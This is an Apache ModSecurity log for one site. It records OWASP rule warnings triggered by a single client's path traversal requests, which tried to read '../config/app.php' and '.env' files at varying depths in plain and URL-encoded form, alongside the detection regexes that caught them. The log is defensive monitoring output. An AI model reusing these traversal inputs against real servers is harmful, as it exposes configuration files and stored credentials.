[Fri Jul 17 08:55:07.310015 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27wAAACM"]
[Fri Jul 17 08:55:07.310071 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27wAAACM"]
[Fri Jul 17 08:55:07.310133 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:src: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27wAAACM"]
[Fri Jul 17 08:55:07.311259 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt27wAAACM"]
[Fri Jul 17 08:55:07.311406 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.311722 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt27wAAACM"]
[Fri Jul 17 08:55:07.315413 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2Fconfig%2Fapp.php&ts=RlyCBeVO-cS96yDR7b0yNY2WGZmst83spXOJvg6qo8tba0PD0mxqkqEz4vaiqWgV-w67jAeNMRvNfaDPESThSCF8FsuvHCLalGb-DoEW4OTqmEbtgV9JbX2Qn971LMolXL9sUp1Z3CGIEeDdq3mWLsfpvVq6w2z86XH7qBKSwirtaIR1ijm-cgKinLgmrro1TSrEPRo_K53R6wTCO7IniZTKShcqTcfJlcjGMfoRYT5Z6tWgtDsOVV3hipemwhJ-6OWdjOkdJGc8hurgpVFyz_6x&debug=ZF4TZ6IWDEJ37YAZH5GDGA3Q4XNDXDK6P5JBSWT4ACMV6QQVNDL3ZH2QXQB6B6YIZR4X5R3Q7RUMUEEJXMZJHLKM74CI65W2WM5XTJXTJMUVYYCDBC7KXBDS3VR45ZMF3GUAT..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.315458 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.315503 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../config/app.php&ts=RlyCBeVO-cS96yDR7b0yNY2WGZmst83spXOJvg6qo8tba0PD0mxqkqEz4vaiqWgV-w67jAeNMRvNfaDPESThSCF8FsuvHCLalGb-DoEW4OTqmEbtgV9JbX2Qn971LMolXL9sUp1Z3CGIEeDdq3mWLsfpvVq6w2z86XH7qBKSwirtaIR1ijm-cgKinLgmrro1TSrEPRo_K53R6wTCO7IniZTKShcqTcfJlcjGMfoRYT5Z6tWgtDsOVV3hipemwhJ-6OWdjOkdJGc8hurgpVFyz_6x&debug=ZF4TZ6IWDEJ37YAZH5GDGA3Q4XNDXDK6P5JBSWT4ACMV6QQVNDL3ZH2QXQB6B6YIZR4X5R3Q7RUMUEEJXMZJHLKM74CI65W2WM5XTJXTJMUVYYCDBC7KXBDS3VR45ZMF3GUATLYQBYHVD34ZT3D..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.315549 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../config/app.php&ts=rlycbevo-cs96ydr7b0yny2wgzmst83spxojvg6qo8tba0pd0mxqkqez4vaiqwgv-w67jaenmrvnfadpesthscf8fsuvhclalgb-doew4otqmebtgv9jbx2qn971lmolxl9sup1z3cgieeddq3mwlsfpvvq6w2z86xh7qbkswirtair1ijm-cgkinlgmrro1tsrepro_k53r6wtco7iniztkshcqtcfjlcjgmforyt5z6twgtdsovv3hipemwhj-6owdjokdjgc8hurgpvfyz_6x&debug=zf4tz6iwdej37yazh5gdga3q4xndxdk6p5jbswt4acmv6qqvndl3zh2qxqb6b6yizr4x5r3q7rumueejxmzjhlkm74ci65w2wm5xtjxtjmuvyycdbc7kxbds3vr45zmf3guatlyqbyhvd34zt3d..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.315582 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.315609 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.315688 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:src: ../../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.316776 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.316882 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.317077 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2F..%2F.env&junk=XhspZf2TWV5_TKcwt3-0yZPRLdPPY60-hNYtyd23225Qd4OJnjkj3GtqcAvCCLf7PZw4_jsC68h6CXMfTJFq42GXtXlQFMObpx1VaF83c0_etOzEDvSg_Ke4syVvcYwikQCVFXJvH_VJh4yMR326fdTKouNJLCfJmba-XY1RQIyx2ga5smx8ASrdFo-DBm6VzRwNp8jR2DT9GrtTm9w9qAj0H2zK-AhVj4Yo4EgwST3fa8u-3WRSCeWjYpg4izSOw2c9G8YwI2OTapMZe24PUGu8&sid=PX3AT34SYQ7AUGV2VLQSFOTVF4ZHU3ET72FNXLERLP5IBNAH6VJ2P4V6U3FYR4D3EIPCYKUMUG4LFIJZJTLYF2IJBWKAGLIYOOLR5MG6J2YFATGPGFQZTRRDXW5NB47JVDK5MRZ5KR74..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.317123 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.317171 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../.env&junk=XhspZf2TWV5_TKcwt3-0yZPRLdPPY60-hNYtyd23225Qd4OJnjkj3GtqcAvCCLf7PZw4_jsC68h6CXMfTJFq42GXtXlQFMObpx1VaF83c0_etOzEDvSg_Ke4syVvcYwikQCVFXJvH_VJh4yMR326fdTKouNJLCfJmba-XY1RQIyx2ga5smx8ASrdFo-DBm6VzRwNp8jR2DT9GrtTm9w9qAj0H2zK-AhVj4Yo4EgwST3fa8u-3WRSCeWjYpg4izSOw2c9G8YwI2OTapMZe24PUGu8&sid=PX3AT34SYQ7AUGV2VLQSFOTVF4ZHU3ET72FNXLERLP5IBNAH6VJ2P4V6U3FYR4D3EIPCYKUMUG4LFIJZJTLYF2IJBWKAGLIYOOLR5MG6J2YFATGPGFQZTRRDXW5NB47JVDK5MRZ5KR74XTRA5EUTWHDVUR..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.317188 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=35,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt28AAAACM"]
[Fri Jul 17 08:55:07.317196 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../.env&junk=xhspzf2twv5_tkcwt3-0yzprldppy60-hnytyd23225qd4ojnjkj3gtqcavcclf7pzw4_jsc68h6cxmftjfq42gxtxlqfmobpx1vaf83c0_etozedvsg_ke4syvvcywikqcvfxjvh_vjh4ymr326fdtkounjlcfjmba-xy1rqiyx2ga5smx8asrdfo-dbm6vzrwnp8jr2dt9grttm9w9qaj0h2zk-ahvj4yo4egwst3fa8u-3wrscewjypg4izsow2c9g8ywi2otapmze24pugu8&sid=px3at34syq7augv2vlqsfotvf4zhu3et72fnxlerlp5ibnah6vj2p4v6u3fyr4d3eipcykumug4lfijzjtlyf2ijbwkagliyoolr5mg6j2yfatgpgfqztrrdxw5nb47jvdk5mrz5kr74xtra5eutwhdvur..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.317227 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.317251 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:src: ../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.318414 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.318523 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.318831 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETarQAAAAo"]
[Fri Jul 17 08:55:07.319945 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?src=..%2F..%2F..%2F..%2F..%2F.env&anything=YwV7g8PZCtK88LD1U0fJG63wTbW2TLC6TvqwR-zYeZouzfM0h6rVMw8K5KF29g0xCZNxt7uEfgVHeDwF3uOe_bQBNqWN_EXwFXeBlJXkORN0W800nlG51YGS0ZXsvAHlKKtPXkQWRLkD7cZrWT8K-zdo9tbpvuRZEXW3cZbyi94LB6t6oROml1Bvo29xQkz52NI7Sg5qgjq9ekG1RyJl_n3mJ1TvnIWmWtMM1BKnyTgT5Fdkey9gzT92zxiqiH3_1LSbFQRghIEFE56_Piut1go5&ts=VEXJNEDQX5E6PC53JRU6FNZ6D3WS5A377ASNHIKNIADH3BZCCU4N2VPLXWRCKG4UNS2GGFN3ID3BG7D475NS3XOWEGN5AD4WRKARO65O32WTNQGYQMLIEAETPOKHPCS..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.320008 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
[Fri Jul 17 08:55:07.320099 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?src=../../../../../.env&anything=YwV7g8PZCtK88LD1U0fJG63wTbW2TLC6TvqwR-zYeZouzfM0h6rVMw8K5KF29g0xCZNxt7uEfgVHeDwF3uOe_bQBNqWN_EXwFXeBlJXkORN0W800nlG51YGS0ZXsvAHlKKtPXkQWRLkD7cZrWT8K-zdo9tbpvuRZEXW3cZbyi94LB6t6oROml1Bvo29xQkz52NI7Sg5qgjq9ekG1RyJl_n3mJ1TvnIWmWtMM1BKnyTgT5Fdkey9gzT92zxiqiH3_1LSbFQRghIEFE56_Piut1go5&ts=VEXJNEDQX5E6PC53JRU6FNZ6D3WS5A377ASNHIKNIADH3BZCCU4N2VPLXWRCKG4UNS2GGFN3ID3BG7D475NS3XOWEGN5AD4WRKARO65O32WTNQGYQMLIEAETPOKHPCSXGGMYRSRAHSTLAR2WQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95qwAAAAw"]
